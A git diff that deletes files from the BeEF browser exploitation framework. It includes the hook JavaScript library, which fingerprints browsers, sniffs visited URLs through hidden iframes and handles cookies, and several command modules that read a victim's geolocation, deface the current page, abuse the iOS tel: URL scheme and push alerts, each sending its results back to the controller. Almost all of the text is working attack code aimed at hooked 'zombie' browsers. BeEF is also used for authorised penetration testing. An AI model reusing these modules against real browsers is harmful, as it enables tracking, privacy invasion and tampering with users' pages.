exists in the db - zombie = Z.first(:session => zombie_session) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil? - - history = [] - H.all(:zombie_id => zombie.id).each{|http| - history << { - 'id' => http.id, - 'domain' => http.domain, - 'path' => http.path, - 'has_ran' => http.has_ran, - 'date' => http.date - } - } - - @body = {'success' => 'true', 'history' => history}.to_json - end - - # Returns a JSON objecting containing the response of a request. - def get_zombie_response - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - # validate the http id - http_id = @params['http_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "http_id is nil" if http_id.nil? - - # validate that the http object exist in the dabatase - http_db = H.first(:id => http_id) || nil - raise WEBrick::HTTPStatus::BadRequest, "http object could not be found in the database" if http_db.nil? - - res = { - 'id' => http_db.id, - 'request' => http_db.request, - 'response' => http_db.response, - 'domain' => http_db.domain, - 'path' => http_db.path, - 'date' => http_db.date, - 'has_ran' => http_db.has_ran - } - - @body = {'success' => 'true', 'result' => res}.to_json - end - -end - -end -end \ No newline at end of file diff --git a/lib/ui/session.rb b/lib/ui/session.rb deleted file mode 100644 index 9f01a457c..000000000 --- a/lib/ui/session.rb +++ /dev/null @@ -1,113 +0,0 @@ - -module BeEF -module UI - -# -# The session for BeEF UI. -# -class Session - - include Singleton - - attr_reader :ip, :id, :nonce, :auth_timestamp - - def initialize - set_logged_out - @auth_timestamp = Time.new - end - - # - # set the session logged in - # - def set_logged_in(ip) - @id = BeEF::Crypto::secure_token - @nonce = BeEF::Crypto::secure_token - @ip = ip - end - - # - # set the session logged out - # - def set_logged_out - @id = nil - @nonce = nil - @ip = nil - end - - # - # set teh auth_timestamp - # - def set_auth_timestamp(time) - @auth_timestamp = time - end - - # - # return the session id - # - def get_id - @id - end - - # - # return the nonce - # - def get_nonce - @nonce - end - - # - # return the auth_timestamp - # - def get_auth_timestamp - @auth_timestamp - end - - # - # Check if nonce valid - # - def valid_nonce?(request) - - # check if a valid session - return false if not valid_session?(request) - return false if @nonce.nil? - return false if not request.request_method.eql? "POST" - - # get nonce from request - request_nonce = request.query['nonce'] - return false if request_nonce.nil? - - # verify nonce - request_nonce.eql? @nonce - - end - - # - # Check if a session valid - # - def valid_session?(request) - - # check if a valid session exists - return false if @id.nil? - return false if @ip.nil? - - # check ip address matches - return false if not @ip.to_s.eql? request.peeraddr[3] - - # get session cookie name from config - config = BeEF::Configuration.instance - session_cookie_name = config.get('session_cookie_name') - - # check session id matches - request.cookies.each{|cookie| - c = WEBrick::Cookie.parse_set_cookie(cookie.to_s) - return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id) - } - - # not a valid session - false - end - -end - -end -end \ No newline at end of file diff --git a/modules/beefjs/beef.js b/modules/beefjs/beef.js deleted file mode 100644 index e228d8acb..000000000 --- a/modules/beefjs/beef.js +++ /dev/null @@ -1,46 +0,0 @@ -/*! - * BeEF JS Library <%= @beef_version %> - * http://beef.googlecode.com/ - */ - -$j = jQuery.noConflict(); - -//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>'; - -if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { - - var BeefJS = { - - version: '<%= @beef_version %>', - - // This get set to true during window.onload(). It's a useful hack when messing with document.write(). - pageIsLoaded: false, - - // An array containing functions to be executed by Beef. - commands: new Array(), - - // An array containing all the BeEF JS components. - components: new Array(), - - /** - * Adds a function to execute. - * @param: {Function} the function to execute. - */ - execute: function(fn) { - this.commands.push(fn); - }, - - /** - * Registers a component in BeEF JS. - * @params: {String} the component. - * - * Components are very important to register so the framework does not - * send them back over and over again. - */ - regCmp: function(component) { - this.components.push(component); - } - }; - - window.beef = BeefJS; -} \ No newline at end of file diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js deleted file mode 100644 index ead7c91b9..000000000 --- a/modules/beefjs/browser.js +++ /dev/null @@ -1,688 +0,0 @@ -/** - * @literal object: beef.browser - * - * Basic browser functions. - */ -beef.browser = { - - /** - * Returns the user agent that the browser is claiming to be. - * @example: beef.browser.getBrowserReportedName() - */ - getBrowserReportedName: function() { - return navigator.userAgent; - }, - - /** - * Returns true if IE6. - * @example: beef.browser.isIE6() - */ - isIE6: function() { - return !window.XMLHttpRequest && !window.globalStorage; - }, - - /** - * Returns true if IE7. - * @example: beef.browser.isIE7() - */ - isIE7: function() { - return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage; - }, - - /** - * Returns true if IE8. - * @example: beef.browser.isIE8() - */ - isIE8: function() { - $j("body").append(''); - return ($j('#beefiecheck').hasClass('ie8'))?true:false; - }, - - /** - * Returns true if IE9. - * @example: beef.browser.isIE9() - */ - isIE9: function() { - $j("body").append(''); - return ($j('#beefiecheck').hasClass('ie9'))?true:false; - }, - - /** - * Returns true if IE. - * @example: beef.browser.isIE() - */ - isIE: function() { - return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9(); - }, - - /** - * Returns true if FF2. - * @example: beef.browser.isFF2() - */ - isFF2: function() { - return !!window.globalStorage && !window.postMessage; - }, - - /** - * Returns true if FF3. - * @example: beef.browser.isFF3() - */ - isFF3: function() { - return !!window.globalStorage && !!window.postMessage && !JSON.parse; - }, - - /** - * Returns true if FF35. - * @example: beef.browser.isFF35() - */ - isFF35: function() { - return !!window.globalStorage && !!JSON.parse && !window.FileReader; - }, - - /** - * Returns true if FF36. - * @example: beef.browser.isFF36() - */ - isFF36: function() { - return !!window.globalStorage && !!window.FileReader && !window.multitouchData; - }, - - /** - * Returns true if FF4. - * @example: beef.browser.isFF4() - */ - isFF4: function() { - return !!window.globalStorage && !!window.history.replaceState; - }, - - /** - * Returns true if FF. - * @example: beef.browser.isFF() - */ - isFF: function() { - return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4(); - }, - - /** - * Returns true if Safari. - * @example: beef.browser.isS() - */ - isS: function() { - return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome; - }, - - /** - * Returns true if Chrome 5. - * @example: beef.browser.isC5() - */ - isC5: function() { - return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==5)?true:false); - }, - - /** - * Returns true if Chrome 6. - * @example: beef.browser.isC6() - */ - isC6: function() { - return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==6)?true:false); - }, - - /** - * Returns true if Chrome 7. - * @example: beef.browser.isC7() - */ - isC7: function() { - return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==7)?true:false); - }, - - /** - * Returns true if Chrome 8. - * @example: beef.browser.isC8() - */ - isC8: function() { - return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==8)?true:false); - }, - - /** - * Returns true if Chrome 9. - * @example: beef.browser.isC9() - */ - isC9: function() { - return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==9)?true:false); - }, - - /** - * Returns true if Chrome 10. - * @example: beef.browser.isC10() - */ - isC10: function() { - return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==10)?true:false); - }, - - /** - * Returns true if Chrome. - * @example: beef.browser.isC() - */ - isC: function() { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10(); - }, - - /** - * Returns true if Opera 9.50 trough 9.52. - * @example: beef.browser.isO952() - */ - isO952: function() { - return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null)); - }, - - /** - * Returns true if Opera 9.60 trough 9.64. - * @example: beef.browser.isO960() - */ - isO960: function() { - return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null)); - }, - - /** - * Returns true if Opera 10.xx. - * @example: beef.browser.isO10() - */ - isO10: function() { - return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null)); - }, - - /** - * Returns true if Opera 11.xx. - * @example: beef.browser.isO11() - */ - isO11: function() { - return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null)); - }, - - /** - * Returns true if Opera. - * @example: beef.browser.isO() - */ - isO: function() { - return this.isO952() || this.isO960() || this.isO10() || this.isO11(); - }, - - /** - * Returns the type of browser being used. - * @example: beef.browser.type().IE6 - * @example: beef.browser.type().FF - * @example: beef.browser.type().O - */ - type: function() { - - return { - C5: this.isC5(), // Chrome 5 - C6: this.isC6(), // Chrome 6 - C7: this.isC7(), // Chrome 7 - C8: this.isC8(), // Chrome 8 - C9: this.isC9(), // Chrome 9 - C10: this.isC10(), // Chrome 10 - C: this.isC(), // Chrome any version - FF2: this.isFF2(), // Firefox 2 - FF3: this.isFF3(), // Firefox 3 - FF35: this.isFF35(), // Firefox 3.5 - FF36: this.isFF36(), // Firefox 3.6 - FF4: this.isFF4(), // Firefox 4 - FF: this.isFF(), // Firefox any version - IE6: this.isIE6(), // Internet Explorer 6 - IE9: this.isIE9(), // Internet Explorer 9 - IE8: this.isIE8(), // Internet Explorer 8 - IE7: this.isIE7(), // Internet Explorer 7 - IE: this.isIE(), // Internet Explorer any version - O952: this.isO952(), // Opera 9.50 trough 9.52 - O960: this.isO960(), // Opera 9.60 trough 9.64 - O10: this.isO10(), // Opera 10.xx - O11: this.isO11(), // Opera 11.xx - O: this.isO(), // Opera any version - S: this.isS() // Safari any version - } - }, - - /** - * Returns the type of browser being used. - * @return: {String} User agent software and version. - * - * @example: beef.browser.getBrowserVersion() - */ - getBrowserVersion: function() { - - if (this.isC5()) { return '5' }; // Chrome 5 - if (this.isC6()) { return '6' }; // Chrome 6 - if (this.isC7()) { return '7' }; // Chrome 7 - if (this.isC8()) { return '8' }; // Chrome 8 - if (this.isC9()) { return '9' }; // Chrome 9 - if (this.isC10()) { return '10' }; // Chrome 10 - if (this.isFF2()) { return '2' }; // Firefox 2 - if (this.isFF3()) { return '3' }; // Firefox 3 - if (this.isFF35()) { return '3.5' }; // Firefox 3.5 - if (this.isFF36()) { return '3.6' }; // Firefox 3.6 - if (this.isFF4()) { return '4' }; // Firefox 4 - if (this.isIE6()) { return '6' }; // Internet Explorer 6 - if (this.isIE9()) { return '9' }; // Internet Explorer 9 - if (this.isIE8()) { return '8' }; // Internet Explorer 8 - if (this.isIE7()) { return '7' }; // Internet Explorer 7 - if (this.isO952()) { return '9.5' }; // Opera 9.5x - if (this.isO960()) { return '9.6' }; // Opera 9.6 - if (this.isO10()) { return '10' }; // Opera 10.xx - if (this.isO11()) { return '11' }; // Opera 11.xx - return 'UNKNOWN'; // Unknown UA - }, - - /** - * Returns the type of user agent by hooked browser. - * @return: {String} User agent software. - * - * @example: beef.browser.getBrowserName() - */ - getBrowserName: function() { - - if (this.isC()) { return 'C' }; // Chrome any version - if (this.isFF()) { return 'FF' }; // Firefox any version - if (this.isIE()) { return 'IE' }; // Internet Explorer any version - if (this.isO()) { return 'O' }; // Opera any version - if (this.isS()) { return 'S' }; // Safari any version - return 'UN'; // Unknown UA - }, - - /** - * Checks if the zombie has flash installed and enabled. - * @return: {Boolean} true or false. - * - * @example: if(beef.browser.hasFlash()) { ... } - */ - hasFlash: function() { - if (!this.type().IE) { - return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]); - } else { - flash_versions = 10; - flash_installed = false; - - if (window.ActiveXObject) { - for (x = 2; x <= flash_versions; x++) { - try { - Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');"); - if (Flash) { - flash_installed = true; - } - } - catch(e) { } - } - }; - return flash_installed; - } - }, - - /** - * Checks if the zombie has Java installed and enabled. - * @return: {Boolean} true or false. - * - * @example: if(beef.browser.hasJava()) { ... } - */ - hasJava: function() { - if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) { - return true; - } - return false; - }, - - /** - * Checks if the zombie has VBScript enabled. - * @return: {Boolean} true or false. - * - * @example: if(beef.browser.hasVBScript()) { ... } - */ - hasVBScript: function() { - if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { - return true; - } else { - return false; - } - }, - - /** - * Returns the list of plugins installed in the browser. - */ - getPlugins: function() { - var results = ''; - if (this.isIE()) - { - results = this.getPluginsIE(); - } else { - if (navigator.plugins && navigator.plugins.length > 0) - { - var length = navigator.plugins.length; - for (var i=0; i < length; i++) - { - if (i != 0) - results += ', '; - results += navigator.plugins[i].name; - } - } else { - results = 'navigator.plugins is not supported in this browser!'; - } - } - return results; - }, - - /** - * Returns a list of plugins detected by IE. This is a hack because IE doesn't - * support navigator.plugins - */ - getPluginsIE: function() { - var results = ''; - var plugins = {'AdobePDF6':{ - 'control':'PDF.PdfCtrl', - 'return': function(control) { - version = control.getVersions().split(','); - version = version[0].split('='); - return 'Acrobat Reader v'+parseFloat(version[1]); - }}, - 'AdobePDF7':{ - 'control':'AcroPDF.PDF', - 'return': function(control) { - version = control.getVersions().split(','); - version = version[0].split('='); - return 'Acrobat Reader v'+parseFloat(version[1]); - }}, - 'Flash':{ - 'control':'ShockwaveFlash.ShockwaveFlash', - 'return': function(control) { - version = control.getVariable('$version').substring(4); - version = version.split(','); - return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]); - }}, - 'Quicktime':{ - 'control': 'QuickTime.QuickTime', - 'return': function(control) { - return 'QuickTime Player'; - }}, - 'RealPlayer':{ - 'control': 'RealPlayer', - 'return': function(control) { - version = control.getVersionInfo(); - return 'RealPlayer v'+parseFloat(version); - }}, - 'Shockwave':{ - 'control': 'SWCtl.SWCtl', - 'return': function(control) { - version = control.ShockwaveVersion('').split('r'); - return 'Shockwave v'+parseFloat(version[0]); - }}, - 'WindowsMediaPlayer': { - 'control': 'WMPlayer.OCX', - 'return': function(control) { - return 'Windows Media Player v'+parseFloat(control.versionInfo); - }} - }; - if (window.ActiveXObject) { - var j = 0; - for (var i in plugins) - { - var control = null; - var version = null; - try { - control = new ActiveXObject(plugins[i]['control']); - } catch (e) { } - if (control) - { - if (j != 0) - results += ', '; - results += plugins[i]['return'](control); - j++; - } - } - } - return results; - }, - - /** - * Returns zombie screen size and color depth. - */ - getScreenParams: function() { - return { - width: window.screen.width, - height: window.screen.height, - colordepth: window.screen.colorDepth - } - }, - - /** - * Returns zombie browser window size. - * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow - */ - getWindowSize: function() { - var myWidth = 0, myHeight = 0; - if( typeof( window.innerWidth ) == 'number' ) { - // Non-IE - myWidth = window.innerWidth; - myHeight = window.innerHeight; - } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) { - // IE 6+ in 'standards compliant mode' - myWidth = document.documentElement.clientWidth; - myHeight = document.documentElement.clientHeight; - } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) { - // IE 4 compatible - myWidth = document.body.clientWidth; - myHeight = document.body.clientHeight; - } - return { - width: myWidth, - height: myHeight - } - }, - - /** - * Construct hash from browser details. This function is used to grab the browser details during the hooking process - */ - getDetails: function() { - var details = new Array(); - - var browser_name = beef.browser.getBrowserName(); - var browser_version = beef.browser.getBrowserVersion(); - var browser_reported_name = beef.browser.getBrowserReportedName(); - var page_title = document.title; - var hostname = document.location.hostname; - var browser_plugins = beef.browser.getPlugins(); - var os_name = beef.os.getName(); - var internal_ip = beef.net.local.getLocalAddress(); - var internal_hostname = beef.net.local.getLocalHostname(); - - if(browser_name) details["BrowserName"] = browser_name; - if(browser_version) details["BrowserVersion"] = browser_version; - if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name; - if(page_title) details["PageTitle"] = page_title; - if(hostname) details["HostName"] = hostname; - if(browser_plugins) details["BrowserPlugins"] = browser_plugins; - if(os_name) details['OsName'] = os_name; - if(internal_ip) details['InternalIP'] = internal_ip; - if(internal_hostname) details['InternalHostname'] = internal_hostname; - - return details; - }, - - /** - * Returns array of results, whether or not the target zombie has visited the specified URL - */ - hasVisited: function(urls) { - var results = new Array(); - var iframe = beef.dom.createInvisibleIframe(); - var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document; - ifdoc.open(); - ifdoc.write(''); - ifdoc.close(); - urls = urls.split("\n"); - var count = 0; - for (var i in urls) - { - var u = urls[i]; - if (u != "" || u != null) - { - var success = false; - var a = ifdoc.createElement('a'); - a.href = u; - ifdoc.body.appendChild(a); - var width = null; - (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width"); - if (width == '0px') { - success = true; - } - results.push({'url':u, 'visited':success}); - count++; - } - } - beef.dom.removeElement(iframe); - if (results.length == 0) - { - return false; - } - return results; - }, - - /** - * Checks if the zombie has Google Gears installed. - * @return: {Boolean} true or false. - * - * @from: https://code.google.com/apis/gears/gears_init.js - * */ - hasGoogleGears: function() { - - if (window.google && google.gears) { - return true; - } - - var ggfactory = null; - - // Firefox - if (typeof GearsFactory != 'undefined') { - ggfactory = new GearsFactory(); - } else { - // IE - try { - ggfactory = new ActiveXObject('Gears.Factory'); - // IE Mobile on WinCE. - if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) { - ggfactory.privateSetGlobalObject(this); - } - } catch (e) { - // Safari - if ((typeof navigator.mimeTypes != 'undefined') - && navigator.mimeTypes["application/x-googlegears"]) { - ggfactory = document.createElement("object"); - ggfactory.style.display = "none"; - ggfactory.width = 0; - ggfactory.height = 0; - ggfactory.type = "application/x-googlegears"; - document.documentElement.appendChild(ggfactory); - if(ggfactory && (typeof ggfactory.create == 'undefined')) { - ggfactory = null; - } - } - } - } - if (!ggfactory) { - return false - } else { - return true - } - }, - - /** - * Changes the favicon in firefox only - **/ - changeFavicon: function(favicon_url) { - var link = document.createElement('link'); - link.type = 'image/x-icon'; - link.rel = 'shortcut icon'; - link.href = favicon_url; - document.getElementsByTagName('head')[0].appendChild(link); - }, - - /** - * Changes page title - **/ - changePageTitle: function(title) { - document.title = title; - }, - - - /** - * A function that gets the max number of simaltaneous connections the browser can make - * per domain, or globally on all domains. - * - * This code is based on research from browserspy.dk - * - * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default} - * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes - * the number of connections to the callback function as "this" - * - * example usage: - * $j.when(getMaxConnections()).done(function(){ - * console.debug("Max Connections: " + this); - * }); - * - */ - getMaxConnections: function(scope) { - - var imagesCount = 30; // Max number of images to test. - var secondsTimeout = 5; // Image load timeout threashold. - var testUrl =""; // The image testing service URL. - - // User broserspy.dk max connections service URL. - if(scope=='PER_DOMAIN') - testUrl = "http://browserspy.dk/connections.php?img=1&random="; - else - // The token will be replaced by a different number with each request(different domain). - testUrl = "http://.browserspy.dk/connections.php?img=1&random="; - - - var imagesLoaded = 0; // Number of responding images before timeout. - var imagesRequested = 0; // Number of requested images. - var testImages = new Array(); // Array of all images. - var deferredObject = $j.Deferred(); // A jquery Deferred object. - - for (var i = 1; i <= imagesCount; i++) - { - // Asynchronously request image. - testImages[i] = - $j.ajax({ - type: "get", - dataType: true, - url: (testUrl.replace("",i)) + Math.random(), - data: "", - timeout: (secondsTimeout * 1000), - - // Function on completion of request. - complete: function(jqXHR, textStatus){ - - imagesRequested++; - - // If the image returns a 200 or a 302, the text Status is "error", else null - if(textStatus == "error") - { - imagesLoaded++; - } - - // If all images requested - if(imagesRequested >= imagesCount) - { - // resolve the deferred object passing the number of loaded images. - deferredObject.resolveWith(imagesLoaded); - } - } - }); - - } - - // Return a promise to resolve the deffered object when the images are loaded. - return deferredObject.promise(); - - } - -}; - -beef.regCmp('beef.browser'); diff --git a/modules/beefjs/browser/cookie.js b/modules/beefjs/browser/cookie.js deleted file mode 100644 index 9c5545f28..000000000 --- a/modules/beefjs/browser/cookie.js +++ /dev/null @@ -1,95 +0,0 @@ -/*! - * @literal object: beef.browser.cookie - * - * Provides fuctions for working with cookies. - * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php - * Original author unknown. - * - */ -beef.browser.cookie = { - - setCookie: function (name, value, expires, path, domain, secure) - { - - var today = new Date(); - today.setTime( today.getTime() ); - - if ( expires ) - { - expires = expires * 1000 * 60 * 60 * 24; - } - var expires_date = new Date( today.getTime() + (expires) ); - - document.cookie = name + "=" +escape( value ) + - ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) + - ( ( path ) ? ";path=" + path : "" ) + - ( ( domain ) ? ";domain=" + domain : "" ) + - ( ( secure ) ? ";secure" : "" ); - }, - - getCookie: function(name) - { - var a_all_cookies = document.cookie.split( ';' ); - var a_temp_cookie = ''; - var cookie_name = ''; - var cookie_value = ''; - var b_cookie_found = false; - - for ( i = 0; i < a_all_cookies.length; i++ ) - { - a_temp_cookie = a_all_cookies[i].split( '=' ); - cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, ''); - if ( cookie_name == name ) - { - b_cookie_found = true; - if ( a_temp_cookie.length > 1 ) - { - cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') ); - } - return cookie_value; - break; - } - a_temp_cookie = null; - cookie_name = ''; - } - if ( !b_cookie_found ) - { - return null; - } - }, - - deleteCookie: function (name, path, domain) - { - if ( this.getCookie(name) ) document.cookie = name + "=" + - ( ( path ) ? ";path=" + path : "") + - ( ( domain ) ? ";domain=" + domain : "" ) + - ";expires=Thu, 01-Jan-1970 00:00:01 GMT"; - }, - - hasSessionCookies: function (name) - { - var name = name || "cookie"; - if (name == "") name = "cookie"; - this.setCookie( name, 'none', '', '/', '', '' ); - - cookiesEnabled = (this.getCookie(name) == null)? false:true; - this.deleteCookie(name, '/', ''); - return cookiesEnabled; - - }, - - hasPersistentCookies: function (name) - { - var name = name || "cookie"; - if (name == "") name = "cookie"; - this.setCookie( name, 'none', 1, '/', '', '' ); - - cookiesEnabled = (this.getCookie(name) == null)? false:true; - this.deleteCookie(name, '/', ''); - return cookiesEnabled; - - } - -}; - -beef.regCmp('beef.browser.cookie'); \ No newline at end of file diff --git a/modules/beefjs/dom.js b/modules/beefjs/dom.js deleted file mode 100644 index 48a00645c..000000000 --- a/modules/beefjs/dom.js +++ /dev/null @@ -1,188 +0,0 @@ -/*! - * @literal object: beef.dom - * - * Provides functionalities to manipulate the DOM. - */ -beef.dom = { - - /** - * Generates a random ID for HTML elements - * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-" - * @return: generated id - */ - generateID: function(prefix) { - return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999); - }, - - /** - * Creates a new element but does not append it to the DOM. - * @param: {String} the name of the element. - * @param: {Literal Object} the attributes of that element. - * @return: the created element. - */ - createElement: function(type, attributes) { - var el = document.createElement(type); - - for(index in attributes) { - if(typeof attributes[index] == 'string') { - el.setAttribute(index, attributes[index]); - } - } - - return el; - }, - - /** - * Removes element from the DOM. - * @param: {String or DOM Object} the target element to be removed. - */ - removeElement: function(el) { - if (!beef.dom.isDOMElement(el)) - { - el = document.getElementById(el); - } - try { - el.parentNode.removeChild(el); - } catch (e) { } - }, - - /** - * Tests if the object is a DOM element. - * @param: {Object} the DOM element. - * @return: true if the object is a DOM element. - */ - isDOMElement: function(obj) { - return (obj.nodeType) ? true : false; - }, - - /** - * Creates an invisible iframe on the hook browser's page. - * @return: the iframe. - */ - createInvisibleIframe: function() { - var iframe = this.createElement('iframe', { - width: '1px', - height: '1px', - style: 'visibility:hidden;' - }); - - document.body.appendChild(iframe); - - return iframe; - }, - - /** - * @param: {String} type: can be one of the following: hidden, fullscreen, custom - * @param: {String} method: can be 'get' or 'post'. defaults to get - * @param: {Hash} params: list of params that will be sent in request. - * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter - * @param: {Function} a callback function to fire once the iframe has loaded - * @return: {Object} the inserted iframe - */ - createIframe: function(type, method, params, styles, onload) { - var css = {}; - var form_submit = (method.toLowerCase() == 'post') ? true : false; - if (form_submit && params['src']) - { - var form_action = params['src']; - params['src'] = ''; - } - if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } - if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } - var iframe = $j('"; - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); -}); diff --git a/modules/commands/host/iphone_tel/iphone_tel.rb b/modules/commands/host/iphone_tel/iphone_tel.rb deleted file mode 100644 index 4a52ed482..000000000 --- a/modules/commands/host/iphone_tel/iphone_tel.rb +++ /dev/null @@ -1,46 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Iphone_tel < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'iPhone Telephone URL', - 'Description' => 'This module will force the browser to attempt a skype - call. It will exploit the insecure handling of URL schemes in iOS.
-
- The protocol handler used will be: tel', - 'Category' => 'Host', - 'Author' => 'xntrik, Nitesh Dhanjani', - 'Data' => [ - { 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' }, - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => S - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end diff --git a/modules/commands/host/physical_location/physical_location.js b/modules/commands/host/physical_location/physical_location.js deleted file mode 100644 index 784609b4b..000000000 --- a/modules/commands/host/physical_location/physical_location.js +++ /dev/null @@ -1,11 +0,0 @@ -beef.execute(function() { - - if(!beef.geolocation.isGeolocationEnabled()){ - beef.net.send("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude="); - return; - } - - beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>); - -}); - diff --git a/modules/commands/host/physical_location/physical_location.rb b/modules/commands/host/physical_location/physical_location.rb deleted file mode 100644 index e7187e6b7..000000000 --- a/modules/commands/host/physical_location/physical_location.rb +++ /dev/null @@ -1,42 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Physical_location < BeEF::Command - - def initialize - super({ - 'Name' => 'Physical location', - 'Description' => %Q{ - This module will retrieve the physical location of the victim using the geolocation API - }, - 'Category' => 'Host', - 'Author' => ['antisnatchor'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use 'beef.geolocation' - use_template! - end - - def callback - content = {} - content['Geolocation Enabled'] = @datastore['geoLocEnabled'] - content['Latitude'] = @datastore['latitude'] - content['Longitude'] = @datastore['longitude'] - content['OSM address'] = @datastore['osm'] - save content - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/alert_dialog/alert_dialog.js b/modules/commands/misc/alert_dialog/alert_dialog.js deleted file mode 100644 index 2b03ecd33..000000000 --- a/modules/commands/misc/alert_dialog/alert_dialog.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - alert("<%== format_multiline(@text) %>"); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>"); -}); diff --git a/modules/commands/misc/alert_dialog/alert_dialog.rb b/modules/commands/misc/alert_dialog/alert_dialog.rb deleted file mode 100644 index 07f772056..000000000 --- a/modules/commands/misc/alert_dialog/alert_dialog.rb +++ /dev/null @@ -1,42 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Alert_dialog < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Alert Dialog', - 'Description' => 'Sends an alert dialog to the victim', - 'Category' => 'Misc', - 'Author' => 'bm', - 'Data' => [ - {'name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - # This tells the framework to use the file 'alert.js' as the command module instructions. - use_template! - end - - def callback - content = {} - content['User Response'] = "The user clicked the 'OK' button when presented with an alert box." - save content - end - -end - -end -end -end diff --git a/modules/commands/misc/deface_web_page/deface_web_page.js b/modules/commands/misc/deface_web_page/deface_web_page.js deleted file mode 100644 index b37d1a76d..000000000 --- a/modules/commands/misc/deface_web_page/deface_web_page.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - document.body.innerHTML = "<%= @deface_content %>"; - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Succesfull"); -}); diff --git a/modules/commands/misc/deface_web_page/deface_web_page.rb b/modules/commands/misc/deface_web_page/deface_web_page.rb deleted file mode 100644 index ffcff7b74..000000000 --- a/modules/commands/misc/deface_web_page/deface_web_page.rb +++ /dev/null @@ -1,43 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Deface_web_page < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Deface Web Page', - 'Description' => 'Overwrite the body of the page the victim is on with the "Deface Content" string', - 'Category' => 'Misc', - 'Author' => 'antisnatchor', - 'Data' => [ - { 'name' => 'deface_content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'Defaced!', 'width' => '400px', 'height' => '100px' }, - ], - 'File' => __FILE__ 